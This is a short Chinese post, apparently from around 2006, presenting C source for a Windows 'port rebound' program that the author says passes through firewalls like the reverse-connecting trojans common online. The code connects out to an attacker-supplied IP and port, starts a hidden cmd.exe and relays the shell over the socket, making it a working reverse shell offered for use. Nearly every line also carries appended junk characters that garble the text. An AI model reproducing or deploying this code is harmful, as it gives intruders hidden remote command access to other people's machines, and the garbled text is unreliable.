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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9wYbY* j  
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/* ==============================  :sf;Fq  
Rebound port in Windows NT ixp%aRRP  
By wind,2006/7 #(7OvW+y  
===============================*/ ]b[ 3 th*  
#include }.Ug`7%G  
#include ,Vogo5~X  
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#pragma comment(lib,"wsock32.lib") R75sK(oS  
te`4*t  
void OutputShell(); It4F;Ah  
SOCKET sClient; hk~ s1"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {*: C$"L  
)TxhJB5|  
void main(int argc,char **argv) V{8mx70  
{ V/03m3!q  
WSADATA stWsaData; (Lc%G~{  
int nRet; i}Y:o}  
SOCKADDR_IN stSaiClient,stSaiServer; _C##U;e!  
=Vi+wH{xM  
if(argc != 3) , vR4x:W  
{ @+xQj.jNC  
printf("Useage:\n\rRebound DestIP DestPort\n"); H;v*/~zl  
return; {5,CW  
} y==x  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4"GY0) Q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =lzjMRX(?  
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stSaiClient.sin_family = AF_INET; F:n7yey  
stSaiClient.sin_port = htons(0); 3o1j l2n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a+Z/=YUR  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CzwnmSv{.  
{ H7uW|'XWz  
printf("Bind Socket Failed!\n"); uG/Zpi  
return; S2`p&\Ifn  
} Ts.6 1Rx  
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stSaiServer.sin_family = AF_INET; f>Ge Em~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); + 5 05  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5y.kOe4vH  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Tfj%Sb,zM  
{ DlaA-i]l  
printf("Connect Error!"); lK{h%2A\b  
return; ]":PO4M$*  
} &Y\`FY\   
OutputShell(); &L_(yJ~-  
} w'}b 8m(L  
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void OutputShell() $[H3O(B0*  
{ 0;)4.*t  
char szBuff[1024]; |TkO'QN  
SECURITY_ATTRIBUTES stSecurityAttributes; |A"zxNeS"  
OSVERSIONINFO stOsversionInfo; d^ w6_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "wdC/  
STARTUPINFO stStartupInfo; 6<gh:vj  
char *szShell; ]c*&5c$  
PROCESS_INFORMATION stProcessInformation; aK 'BC>uFI  
unsigned long lBytesRead; v&|o5om  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SDZ/rC!C  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WxFVbtw  
stSecurityAttributes.lpSecurityDescriptor = 0; HG{OkDx]fl  
stSecurityAttributes.bInheritHandle = TRUE; mkgDg y  
6?r}bs6Msx  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2WqjNqx)6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^`ny]3JA  
?8pRRzV$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K;Fy&p^d  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L)kwMk  
stStartupInfo.wShowWindow = SW_HIDE; :GK]"sNC  
stStartupInfo.hStdInput = hReadPipe; G{)2f &<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l1nrJm8  
: W^ k3/t  
GetVersionEx(&stOsversionInfo); Rkgpa/te"  
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switch(stOsversionInfo.dwPlatformId) r"c<15g2'  
{ =5J}CPKbZI  
case 1: [8[g_  
szShell = "command.com"; n{aD4&  
break; OLTgBXh  
default: 'V/+v#V+>  
szShell = "cmd.exe"; eX>x +]l6  
break; U8 '}(  
} `bNY[Gv>)  
# R}sGT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4'[/gMUkw  
s>ilxLSX]  
send(sClient,szMsg,77,0); n2cb,b/7  
while(1) icH\(   
{ ^i:%0"[*^i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qi!+ Ceo}  
if(lBytesRead) /GRkQ",  
{ E&9BeU a#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e-Mei7{%  
send(sClient,szBuff,lBytesRead,0); ^-Bx zOp  
} Dg W*Br8<  
else Y'H|Tk^`  
{ d#NG]V/   
lBytesRead=recv(sClient,szBuff,1024,0); G*^4+^Vz?  
if(lBytesRead<=0) break; s,Azcqem  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H85J MPZ7  
} NH~\kV  
} DxoW,G W  
GKIO@!@[  
return; U4M}E h8  
}
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